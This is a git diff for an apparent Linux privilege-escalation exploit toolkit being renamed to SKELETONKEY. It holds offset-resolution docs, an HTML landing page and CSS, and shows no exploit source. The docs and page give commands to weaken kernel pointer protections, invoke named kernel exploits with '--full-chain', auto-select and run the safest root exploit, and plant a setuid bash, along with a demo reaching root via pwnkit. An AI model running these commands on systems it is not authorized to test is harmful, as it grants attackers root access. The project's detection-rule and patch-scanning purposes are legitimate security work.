@@ -27,14 +27,14 @@ address) at runtime.
|
||||
non-zero value for each field:
|
||||
|
||||
1. **Environment variables** — operator override.
|
||||
- `IAMROOT_KBASE=0x...`
|
||||
- `IAMROOT_MODPROBE_PATH=0x...`
|
||||
- `IAMROOT_POWEROFF_CMD=0x...`
|
||||
- `IAMROOT_INIT_TASK=0x...`
|
||||
- `IAMROOT_INIT_CRED=0x...`
|
||||
- `IAMROOT_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
|
||||
- `IAMROOT_CRED_OFFSET_EFF=0x...`
|
||||
- `IAMROOT_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
|
||||
- `SKELETONKEY_KBASE=0x...`
|
||||
- `SKELETONKEY_MODPROBE_PATH=0x...`
|
||||
- `SKELETONKEY_POWEROFF_CMD=0x...`
|
||||
- `SKELETONKEY_INIT_TASK=0x...`
|
||||
- `SKELETONKEY_INIT_CRED=0x...`
|
||||
- `SKELETONKEY_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
|
||||
- `SKELETONKEY_CRED_OFFSET_EFF=0x...`
|
||||
- `SKELETONKEY_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
|
||||
|
||||
2. **`/proc/kallsyms`** — only useful when `kernel.kptr_restrict=0`
|
||||
OR you're already root. On modern distros (kptr_restrict=1 by
|
||||
@@ -60,22 +60,49 @@ non-zero value for each field:
|
||||
sudo grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms
|
||||
|
||||
# Use the addresses inline:
|
||||
IAMROOT_MODPROBE_PATH=0xffffffff8228e7e0 \
|
||||
iamroot --exploit nf_tables --i-know --full-chain
|
||||
SKELETONKEY_MODPROBE_PATH=0xffffffff8228e7e0 \
|
||||
skeletonkey --exploit nf_tables --i-know --full-chain
|
||||
```
|
||||
|
||||
### Automated dump (preferred for upstreaming)
|
||||
|
||||
`skeletonkey --dump-offsets` walks the four-source chain itself and emits
|
||||
a ready-to-paste C struct entry on stdout:
|
||||
|
||||
```bash
|
||||
sudo skeletonkey --dump-offsets
|
||||
# /* Generated 2026-05-16 by `skeletonkey --dump-offsets`.
|
||||
# * Host kernel: 5.15.0-56-generic distro=ubuntu
|
||||
# * Resolved fields: modprobe_path=kallsyms init_task=kallsyms cred=table
|
||||
# * Paste this entry into kernel_table[] in core/offsets.c.
|
||||
# */
|
||||
# { .release_glob = "5.15.0-56-generic",
|
||||
# .distro_match = "ubuntu",
|
||||
# .rel_modprobe_path = 0x148e480,
|
||||
# .rel_poweroff_cmd = 0x148e3a0,
|
||||
# .rel_init_task = 0x1c11dc0,
|
||||
# .rel_init_cred = 0x1e0c460,
|
||||
# .cred_offset_real = 0x738,
|
||||
# .cred_offset_eff = 0x740,
|
||||
# },
|
||||
```
|
||||
|
||||
Paste the block into `kernel_table[]` in `core/offsets.c`, rebuild,
|
||||
and the new entry covers every SKELETONKEY user on that kernel. Open a
|
||||
PR to upstream it.
|
||||
|
||||
### Per-host (write System.map readable)
|
||||
|
||||
```bash
|
||||
sudo chmod 0644 /boot/System.map-$(uname -r)
|
||||
iamroot --exploit nf_tables --i-know --full-chain
|
||||
skeletonkey --exploit nf_tables --i-know --full-chain
|
||||
```
|
||||
|
||||
### Per-boot (lower kptr_restrict)
|
||||
|
||||
```bash
|
||||
sudo sysctl kernel.kptr_restrict=0
|
||||
iamroot --exploit nf_tables --i-know --full-chain
|
||||
skeletonkey --exploit nf_tables --i-know --full-chain
|
||||
```
|
||||
|
||||
Note: each of these requires root *once*. For a true non-root LPE on
|
||||
@@ -117,14 +144,14 @@ build + distro you tested against. Upstreamed entries make the
|
||||
|
||||
## Verifying success
|
||||
|
||||
The shared finisher (`iamroot_finisher_modprobe_path()`) drops a
|
||||
sentinel file at `/tmp/iamroot-pwn-<pid>` after `modprobe` runs our
|
||||
The shared finisher (`skeletonkey_finisher_modprobe_path()`) drops a
|
||||
sentinel file at `/tmp/skeletonkey-pwn-<pid>` after `modprobe` runs our
|
||||
payload. The finisher polls for this file with `S_ISUID` mode set
|
||||
for up to 3 seconds. Only when the sentinel materializes does the
|
||||
module return `IAMROOT_EXPLOIT_OK` and (unless `--no-shell`) exec
|
||||
module return `SKELETONKEY_EXPLOIT_OK` and (unless `--no-shell`) exec
|
||||
the setuid bash to drop a root shell.
|
||||
|
||||
If the sentinel never appears the module returns `IAMROOT_EXPLOIT_FAIL`
|
||||
If the sentinel never appears the module returns `SKELETONKEY_EXPLOIT_FAIL`
|
||||
with a diagnostic. Reasons it might fail even with offsets resolved:
|
||||
|
||||
- The arb-write didn't actually land (slab adjacency lost, value-pointer
|
||||
|
||||
+289
@@ -0,0 +1,289 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>SKELETONKEY — Curated Linux LPE corpus with detection rules</title>
|
||||
<meta name="description" content="One curated binary. 28 Linux privilege-escalation exploits from 2016 → 2026. Auditd + sigma + yara + falco rules in the box. One command picks the safest LPE and runs it.">
|
||||
<meta property="og:title" content="SKELETONKEY — Curated Linux LPE corpus">
|
||||
<meta property="og:description" content="28 Linux LPE exploits, 2016 → 2026, with detection rules in the box. One command picks the safest one and runs it.">
|
||||
<meta property="og:type" content="website">
|
||||
<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
|
||||
<meta name="twitter:card" content="summary">
|
||||
<link rel="stylesheet" href="style.css">
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<nav class="nav">
|
||||
<span class="nav-brand">SKELETONKEY</span>
|
||||
<a class="nav-github" href="https://github.com/KaraZajac/SKELETONKEY"
|
||||
aria-label="View on GitHub">
|
||||
<svg height="20" viewBox="0 0 16 16" width="20" fill="currentColor" aria-hidden="true">
|
||||
<path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38
|
||||
0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13
|
||||
-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66
|
||||
.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15
|
||||
-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0
|
||||
1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82
|
||||
1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01
|
||||
1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/>
|
||||
</svg>
|
||||
<span>GitHub</span>
|
||||
</a>
|
||||
</nav>
|
||||
|
||||
<header class="hero">
|
||||
<div class="container">
|
||||
<h1>SKELETONKEY</h1>
|
||||
<p class="tag">
|
||||
One curated binary. <strong>28 Linux LPE exploits</strong> from
|
||||
2016 → 2026. Detection rules in the box.
|
||||
<strong>One command picks the safest one and runs it.</strong>
|
||||
</p>
|
||||
|
||||
<div class="install-block">
|
||||
<button class="copy" onclick="copyInstall(this)">copy</button>
|
||||
<pre id="install-cmd"><span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& skeletonkey --auto --i-know</pre>
|
||||
</div>
|
||||
|
||||
<p class="warn">⚠ Authorized testing only — see <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a></p>
|
||||
|
||||
<div class="cta-row">
|
||||
<a class="btn btn-primary" href="https://github.com/KaraZajac/SKELETONKEY/releases/latest">Latest release</a>
|
||||
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY">View on GitHub</a>
|
||||
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">Full CVE inventory</a>
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<section>
|
||||
<div class="container">
|
||||
<h2>Why this exists</h2>
|
||||
<p class="lead">
|
||||
Most Linux privesc tooling is broken in one of three ways:
|
||||
</p>
|
||||
<ul class="tight">
|
||||
<li><strong>linux-exploit-suggester / linpeas</strong> — tell you what <em>might</em> work, run nothing</li>
|
||||
<li><strong>auto-root-exploit / kernelpop</strong> — bundle exploits but ship no detection signatures and went stale years ago</li>
|
||||
<li><strong>Per-CVE PoC repos</strong> — one author, one distro, abandoned within months</li>
|
||||
</ul>
|
||||
<p class="lead" style="margin-top:1rem">
|
||||
SKELETONKEY is one binary, actively maintained, with detection
|
||||
rules for every CVE it bundles — same project for red and blue
|
||||
teams.
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<div class="container">
|
||||
<h2>Corpus at a glance</h2>
|
||||
|
||||
<div class="stats">
|
||||
<div class="stat">
|
||||
<span class="stat-num">28</span>
|
||||
<span class="stat-label">verified modules</span>
|
||||
</div>
|
||||
<div class="stat">
|
||||
<span class="stat-num green">14</span>
|
||||
<span class="stat-label">🟢 land root by default</span>
|
||||
</div>
|
||||
<div class="stat">
|
||||
<span class="stat-num yellow">14</span>
|
||||
<span class="stat-label">🟡 primitive + opt-in chain</span>
|
||||
</div>
|
||||
<div class="stat">
|
||||
<span class="stat-num">10y</span>
|
||||
<span class="stat-label">2016 → 2026 coverage</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<h3 style="color: var(--green);">🟢 Lands root on a vulnerable host</h3>
|
||||
<p style="color: var(--text-muted); font-size:0.92rem; margin:0.25rem 0 0.25rem;">Structural exploits + page-cache writes. No per-kernel offsets needed.</p>
|
||||
<div class="pills">
|
||||
<span class="pill green">copy_fail</span>
|
||||
<span class="pill green">copy_fail_gcm</span>
|
||||
<span class="pill green">dirty_frag_esp</span>
|
||||
<span class="pill green">dirty_frag_esp6</span>
|
||||
<span class="pill green">dirty_frag_rxrpc</span>
|
||||
<span class="pill green">dirty_pipe</span>
|
||||
<span class="pill green">dirty_cow</span>
|
||||
<span class="pill green">pwnkit</span>
|
||||
<span class="pill green">overlayfs</span>
|
||||
<span class="pill green">overlayfs_setuid</span>
|
||||
<span class="pill green">cgroup_release_agent</span>
|
||||
<span class="pill green">ptrace_traceme</span>
|
||||
<span class="pill green">sudoedit_editor</span>
|
||||
<span class="pill green">entrybleed</span>
|
||||
</div>
|
||||
|
||||
<h3 style="color: var(--yellow);">🟡 Fires kernel primitive · opt-in <code>--full-chain</code></h3>
|
||||
<p style="color: var(--text-muted); font-size:0.92rem; margin:0.25rem 0 0.25rem;">Default returns <code>EXPLOIT_FAIL</code> honestly. With <code>--full-chain</code> + resolved offsets, runs the shared modprobe_path finisher.</p>
|
||||
<div class="pills">
|
||||
<span class="pill yellow">nf_tables</span>
|
||||
<span class="pill yellow">nft_set_uaf</span>
|
||||
<span class="pill yellow">nft_fwd_dup</span>
|
||||
<span class="pill yellow">nft_payload</span>
|
||||
<span class="pill yellow">netfilter_xtcompat</span>
|
||||
<span class="pill yellow">af_packet</span>
|
||||
<span class="pill yellow">af_packet2</span>
|
||||
<span class="pill yellow">af_unix_gc</span>
|
||||
<span class="pill yellow">cls_route4</span>
|
||||
<span class="pill yellow">fuse_legacy</span>
|
||||
<span class="pill yellow">stackrot</span>
|
||||
<span class="pill yellow">sudo_samedit</span>
|
||||
<span class="pill yellow">sequoia</span>
|
||||
<span class="pill yellow">vmwgfx</span>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<div class="container">
|
||||
<h2>Who it's for</h2>
|
||||
<div class="cards">
|
||||
<div class="card">
|
||||
<h3>🔴 Red team / pentesters</h3>
|
||||
<p>One tested binary. <code>--auto</code> ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. No more curating stale PoC repos.</p>
|
||||
</div>
|
||||
<div class="card">
|
||||
<h3>🔵 Blue team / SOC</h3>
|
||||
<p>Auditd + sigma + yara + falco rules for every CVE. One command ships SIEM coverage: <code>--detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules</code>.</p>
|
||||
</div>
|
||||
<div class="card">
|
||||
<h3>🛠 Sysadmins</h3>
|
||||
<p><code>skeletonkey --scan</code> (no sudo needed) tells you which boxes still need patching. JSON output for CI gates. Fleet-scan tool included. No SaaS, no telemetry.</p>
|
||||
</div>
|
||||
<div class="card">
|
||||
<h3>🎓 CTF / training</h3>
|
||||
<p>Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. Detection rules let you practice both sides.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<div class="container">
|
||||
<h2>What it looks like</h2>
|
||||
<p class="lead"><code>--auto</code> on a vulnerable Ubuntu 22.04 box:</p>
|
||||
|
||||
<pre class="code"><span class="prompt">$</span> id
|
||||
uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||
|
||||
<span class="prompt">$</span> skeletonkey --auto --i-know
|
||||
<span class="hl-muted">[*]</span> auto: host=demo kernel=5.15.0-56-generic arch=x86_64
|
||||
<span class="hl-muted">[*]</span> auto: scanning 31 modules for vulnerabilities...
|
||||
<span class="hl-green">[+]</span> auto: dirty_pipe <span class="hl-yellow">VULNERABLE</span> (safety rank 90)
|
||||
<span class="hl-green">[+]</span> auto: cgroup_release_agent <span class="hl-yellow">VULNERABLE</span> (safety rank 98)
|
||||
<span class="hl-green">[+]</span> auto: pwnkit <span class="hl-yellow">VULNERABLE</span> (safety rank 100)
|
||||
|
||||
<span class="hl-muted">[*]</span> auto: 3 vulnerable modules found. Safest is <span class="hl-accent">'pwnkit'</span> (rank 100).
|
||||
<span class="hl-muted">[*]</span> auto: launching --exploit pwnkit...
|
||||
|
||||
<span class="hl-green">[+]</span> pwnkit: writing gconv-modules cache + payload.so...
|
||||
<span class="hl-green">[+]</span> pwnkit: execve(pkexec) with NULL argv + crafted envp...
|
||||
<span class="hl-green">#</span> id
|
||||
uid=0(root) gid=0(root) groups=0(root)</pre>
|
||||
|
||||
<p style="color: var(--text-muted); font-size: 0.92rem; margin-top: 1rem">
|
||||
Safety ranking goes <strong>structural escapes</strong> →
|
||||
<strong>page-cache writes</strong> →
|
||||
<strong>userspace cred-races</strong> →
|
||||
<strong>kernel primitives</strong> →
|
||||
<strong>kernel races</strong>. The goal is to never crash a
|
||||
production box looking for root.
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<div class="container">
|
||||
<h2>The verified-vs-claimed bar</h2>
|
||||
<p class="lead">
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||
offsets.
|
||||
</p>
|
||||
<ul class="tight">
|
||||
<li>The shared <code>--full-chain</code> finisher returns <code>EXPLOIT_OK</code> only when a setuid bash sentinel file <em>actually appears</em></li>
|
||||
<li>Modules with a primitive but no portable cred-overwrite chain default to firing the primitive + grooming the slab + recording a witness, then return <code>EXPLOIT_FAIL</code> with diagnostic</li>
|
||||
<li>Operators populate the offset table once per kernel via <code>skeletonkey --dump-offsets</code> (parses <code>/proc/kallsyms</code> or <code>/boot/System.map</code>) and upstream the entry via PR — see <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">CONTRIBUTING.md</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<div class="container">
|
||||
<h2>Quickstart commands</h2>
|
||||
|
||||
<pre class="code"><span class="cmt"># Install (x86_64 / arm64; checksum-verified)</span>
|
||||
<span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||
|
||||
<span class="cmt"># What's this box vulnerable to? (no sudo)</span>
|
||||
<span class="prompt">$</span> skeletonkey --scan
|
||||
|
||||
<span class="cmt"># Pick the safest LPE and run it</span>
|
||||
<span class="prompt">$</span> skeletonkey --auto --i-know
|
||||
|
||||
<span class="cmt"># Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)</span>
|
||||
<span class="prompt">$</span> skeletonkey --detect-rules --format=auditd \
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
<span class="cmt"># Fleet scan — many hosts via SSH, aggregated JSON for SIEM</span>
|
||||
<span class="prompt">$</span> ./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
|
||||
--ssh-key ~/.ssh/id_rsa hosts.txt</pre>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<div class="container">
|
||||
<h2>Status</h2>
|
||||
<p class="lead">
|
||||
<strong>v0.5.0</strong> cut 2026-05-17. 28 verified modules build
|
||||
clean on Debian 13 (kernel 6.12) and refuse cleanly on patched
|
||||
hosts; 3 further modules (dirtydecrypt, fragnesia, pack2theroot)
|
||||
are ported from public PoCs but not yet VM-verified.
|
||||
Empirical end-to-end validation on a vulnerable-kernel VM matrix
|
||||
is the next roadmap item; until then, the corpus is best
|
||||
understood as "compiles + detects + structurally correct +
|
||||
honest on failure."
|
||||
</p>
|
||||
<p style="margin-top:1rem">
|
||||
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">Read the roadmap</a>
|
||||
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">How to contribute</a>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<footer>
|
||||
<div class="container">
|
||||
<p>
|
||||
Each module credits the original CVE reporter and PoC author in its
|
||||
<code>NOTICE.md</code>. The research credit belongs to the people
|
||||
who found the bugs.
|
||||
</p>
|
||||
<p>
|
||||
MIT licensed ·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
|
||||
</p>
|
||||
</div>
|
||||
</footer>
|
||||
|
||||
<script>
|
||||
function copyInstall(btn) {
|
||||
var cmd = document.getElementById('install-cmd').innerText.replace(/^\$\s*/, '');
|
||||
navigator.clipboard.writeText(cmd).then(function() {
|
||||
btn.textContent = 'copied!';
|
||||
btn.classList.add('copied');
|
||||
setTimeout(function() {
|
||||
btn.textContent = 'copy';
|
||||
btn.classList.remove('copied');
|
||||
}, 1500);
|
||||
});
|
||||
}
|
||||
|
||||
</script>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
+309
@@ -0,0 +1,309 @@
|
||||
/* SKELETONKEY — landing page styles */
|
||||
|
||||
* { box-sizing: border-box; }
|
||||
|
||||
:root {
|
||||
--bg: #0d1117;
|
||||
--bg-elevated: #161b22;
|
||||
--border: #30363d;
|
||||
--text: #c9d1d9;
|
||||
--text-muted: #8b949e;
|
||||
--text-dim: #6e7681;
|
||||
--accent: #58a6ff;
|
||||
--green: #3fb950;
|
||||
--yellow: #d29922;
|
||||
--red: #f85149;
|
||||
--mono: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas,
|
||||
"Liberation Mono", monospace;
|
||||
--sans: -apple-system, BlinkMacSystemFont, "Segoe UI", "Helvetica Neue",
|
||||
Arial, sans-serif;
|
||||
}
|
||||
|
||||
html, body {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background: var(--bg);
|
||||
color: var(--text);
|
||||
font-family: var(--sans);
|
||||
font-size: 16px;
|
||||
line-height: 1.6;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
}
|
||||
|
||||
a { color: var(--accent); text-decoration: none; }
|
||||
a:hover { text-decoration: underline; }
|
||||
|
||||
code, pre {
|
||||
font-family: var(--mono);
|
||||
font-size: 0.92em;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 920px;
|
||||
margin: 0 auto;
|
||||
padding: 2rem 1.5rem;
|
||||
}
|
||||
|
||||
/* Top nav */
|
||||
.nav {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 1rem 1.5rem;
|
||||
border-bottom: 1px solid var(--border);
|
||||
position: sticky;
|
||||
top: 0;
|
||||
background: rgba(13, 17, 23, 0.92);
|
||||
backdrop-filter: blur(6px);
|
||||
-webkit-backdrop-filter: blur(6px);
|
||||
z-index: 10;
|
||||
}
|
||||
.nav-brand {
|
||||
font-family: var(--mono);
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.04em;
|
||||
color: var(--text);
|
||||
}
|
||||
.nav-github {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 0.45rem;
|
||||
color: var(--text-muted);
|
||||
font-size: 0.95rem;
|
||||
padding: 0.35rem 0.7rem;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 6px;
|
||||
transition: all 0.15s ease;
|
||||
}
|
||||
.nav-github:hover {
|
||||
color: var(--text);
|
||||
border-color: var(--text-muted);
|
||||
text-decoration: none;
|
||||
}
|
||||
.nav-github svg { display: block; }
|
||||
|
||||
/* Hero */
|
||||
.hero {
|
||||
text-align: center;
|
||||
padding: 4rem 0 3rem;
|
||||
border-bottom: 1px solid var(--border);
|
||||
}
|
||||
.hero h1 {
|
||||
font-family: var(--mono);
|
||||
font-size: 2.5rem;
|
||||
letter-spacing: 0.05em;
|
||||
margin: 0 0 1rem;
|
||||
font-weight: 800;
|
||||
}
|
||||
.hero .tag {
|
||||
font-size: 1.2rem;
|
||||
color: var(--text-muted);
|
||||
margin: 0 auto 2rem;
|
||||
max-width: 640px;
|
||||
}
|
||||
.hero .tag strong { color: var(--text); }
|
||||
|
||||
.install-block {
|
||||
background: var(--bg-elevated);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 6px;
|
||||
padding: 1rem 1.25rem;
|
||||
margin: 0 auto 1.5rem;
|
||||
max-width: 760px;
|
||||
text-align: left;
|
||||
position: relative;
|
||||
overflow-x: auto;
|
||||
}
|
||||
.install-block pre {
|
||||
margin: 0;
|
||||
color: var(--text);
|
||||
white-space: pre;
|
||||
}
|
||||
.install-block .prompt { color: var(--green); user-select: none; }
|
||||
.install-block .copy {
|
||||
position: absolute;
|
||||
top: 0.6rem;
|
||||
right: 0.6rem;
|
||||
background: transparent;
|
||||
border: 1px solid var(--border);
|
||||
color: var(--text-muted);
|
||||
font-family: var(--mono);
|
||||
font-size: 0.78rem;
|
||||
padding: 0.25rem 0.5rem;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
transition: all 0.15s ease;
|
||||
}
|
||||
.install-block .copy:hover { color: var(--text); border-color: var(--text-muted); }
|
||||
.install-block .copy.copied { color: var(--green); border-color: var(--green); }
|
||||
|
||||
.warn {
|
||||
display: inline-block;
|
||||
margin-top: 0.5rem;
|
||||
padding: 0.4rem 0.8rem;
|
||||
background: rgba(248, 81, 73, 0.08);
|
||||
border: 1px solid rgba(248, 81, 73, 0.4);
|
||||
border-radius: 4px;
|
||||
color: var(--red);
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.cta-row {
|
||||
display: flex;
|
||||
gap: 0.75rem;
|
||||
justify-content: center;
|
||||
flex-wrap: wrap;
|
||||
margin-top: 2rem;
|
||||
}
|
||||
.btn {
|
||||
display: inline-block;
|
||||
padding: 0.65rem 1.25rem;
|
||||
border-radius: 6px;
|
||||
font-size: 0.95rem;
|
||||
font-weight: 500;
|
||||
transition: all 0.15s ease;
|
||||
border: 1px solid var(--border);
|
||||
color: var(--text);
|
||||
}
|
||||
.btn:hover { background: var(--bg-elevated); text-decoration: none; }
|
||||
.btn-primary {
|
||||
background: var(--accent);
|
||||
border-color: var(--accent);
|
||||
color: #fff;
|
||||
}
|
||||
.btn-primary:hover { background: #1f6feb; }
|
||||
|
||||
/* Sections */
|
||||
section { padding: 3rem 0; border-bottom: 1px solid var(--border); }
|
||||
section h2 {
|
||||
font-size: 1.6rem;
|
||||
margin: 0 0 1.5rem;
|
||||
letter-spacing: -0.01em;
|
||||
}
|
||||
section h3 {
|
||||
font-size: 1.1rem;
|
||||
margin: 1.5rem 0 0.75rem;
|
||||
color: var(--text);
|
||||
}
|
||||
|
||||
.lead { color: var(--text-muted); font-size: 1.05rem; max-width: 720px; }
|
||||
|
||||
/* Stats */
|
||||
.stats {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(4, 1fr);
|
||||
gap: 1rem;
|
||||
margin: 1.5rem 0;
|
||||
}
|
||||
.stat {
|
||||
background: var(--bg-elevated);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 6px;
|
||||
padding: 1.25rem;
|
||||
text-align: center;
|
||||
}
|
||||
.stat-num {
|
||||
font-family: var(--mono);
|
||||
font-size: 2rem;
|
||||
font-weight: 700;
|
||||
display: block;
|
||||
}
|
||||
.stat-num.green { color: var(--green); }
|
||||
.stat-num.yellow { color: var(--yellow); }
|
||||
.stat-label { color: var(--text-muted); font-size: 0.85rem; }
|
||||
@media (max-width: 600px) {
|
||||
.stats { grid-template-columns: repeat(2, 1fr); }
|
||||
}
|
||||
|
||||
/* Audience cards */
|
||||
.cards {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(2, 1fr);
|
||||
gap: 1rem;
|
||||
}
|
||||
.card {
|
||||
background: var(--bg-elevated);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 6px;
|
||||
padding: 1.25rem;
|
||||
}
|
||||
.card h3 { margin-top: 0; color: var(--text); }
|
||||
.card p { margin: 0.5rem 0 0; color: var(--text-muted); font-size: 0.95rem; }
|
||||
@media (max-width: 600px) {
|
||||
.cards { grid-template-columns: 1fr; }
|
||||
}
|
||||
|
||||
/* Module pills */
|
||||
.pills {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.4rem;
|
||||
margin: 0.75rem 0 1.5rem;
|
||||
}
|
||||
.pill {
|
||||
display: inline-block;
|
||||
font-family: var(--mono);
|
||||
font-size: 0.82rem;
|
||||
padding: 0.2rem 0.55rem;
|
||||
border-radius: 4px;
|
||||
border: 1px solid var(--border);
|
||||
background: var(--bg-elevated);
|
||||
color: var(--text);
|
||||
}
|
||||
.pill.green { border-color: rgba(63, 185, 80, 0.4); color: var(--green); }
|
||||
.pill.yellow { border-color: rgba(210, 153, 34, 0.4); color: var(--yellow); }
|
||||
|
||||
/* Code block */
|
||||
pre.code {
|
||||
background: var(--bg-elevated);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 6px;
|
||||
padding: 1rem 1.25rem;
|
||||
overflow-x: auto;
|
||||
font-size: 0.88rem;
|
||||
line-height: 1.55;
|
||||
color: var(--text);
|
||||
}
|
||||
pre.code .cmt { color: var(--text-dim); }
|
||||
pre.code .prompt { color: var(--green); user-select: none; }
|
||||
pre.code .hl-green { color: var(--green); }
|
||||
pre.code .hl-yellow { color: var(--yellow); }
|
||||
pre.code .hl-muted { color: var(--text-muted); }
|
||||
pre.code .hl-accent { color: var(--accent); }
|
||||
|
||||
/* Inline code */
|
||||
:not(pre) > code {
|
||||
background: var(--bg-elevated);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 3px;
|
||||
padding: 0.1rem 0.35rem;
|
||||
font-size: 0.88em;
|
||||
}
|
||||
|
||||
/* Footer */
|
||||
footer {
|
||||
padding: 2.5rem 0;
|
||||
text-align: center;
|
||||
color: var(--text-muted);
|
||||
font-size: 0.9rem;
|
||||
}
|
||||
footer a { color: var(--text-muted); }
|
||||
|
||||
/* Subtle list styling */
|
||||
ul.tight { list-style: none; padding: 0; }
|
||||
ul.tight li {
|
||||
padding: 0.3rem 0;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
ul.tight li::before {
|
||||
content: "›";
|
||||
color: var(--accent);
|
||||
margin-right: 0.5rem;
|
||||
}
|
||||
|
||||
@media (max-width: 600px) {
|
||||
.hero h1 { font-size: 1.9rem; }
|
||||
.hero .tag { font-size: 1rem; }
|
||||
section h2 { font-size: 1.35rem; }
|
||||
.container { padding: 1.5rem 1rem; }
|
||||
}
|
||||
@@ -1,695 +0,0 @@
|
||||
/*
|
||||
* IAMROOT — top-level dispatcher
|
||||
*
|
||||
* Usage:
|
||||
* iamroot --scan # run every module's detect()
|
||||
* iamroot --scan --json # machine-readable output
|
||||
* iamroot --scan --active # invasive probes (still no /etc/passwd writes)
|
||||
* iamroot --list # list registered modules
|
||||
* iamroot --exploit <name> --i-know # run a named module's exploit
|
||||
* iamroot --mitigate <name> # apply a temporary mitigation
|
||||
* iamroot --cleanup <name> # undo --exploit or --mitigate side effects
|
||||
*
|
||||
* Phase 1 scope: thin dispatcher over the copy_fail_family bridge.
|
||||
* Future phases add: --detect-rules export, multi-family registry,
|
||||
* fingerprint pre-pass, etc.
|
||||
*/
|
||||
|
||||
#include "core/module.h"
|
||||
#include "core/registry.h"
|
||||
|
||||
#include <getopt.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define IAMROOT_VERSION "0.3.0"
|
||||
|
||||
static const char BANNER[] =
|
||||
"\n"
|
||||
" ██╗ █████╗ ███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗\n"
|
||||
" ██║██╔══██╗████╗ ████║██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝\n"
|
||||
" ██║███████║██╔████╔██║██████╔╝██║ ██║██║ ██║ ██║ \n"
|
||||
" ██║██╔══██║██║╚██╔╝██║██╔══██╗██║ ██║██║ ██║ ██║ \n"
|
||||
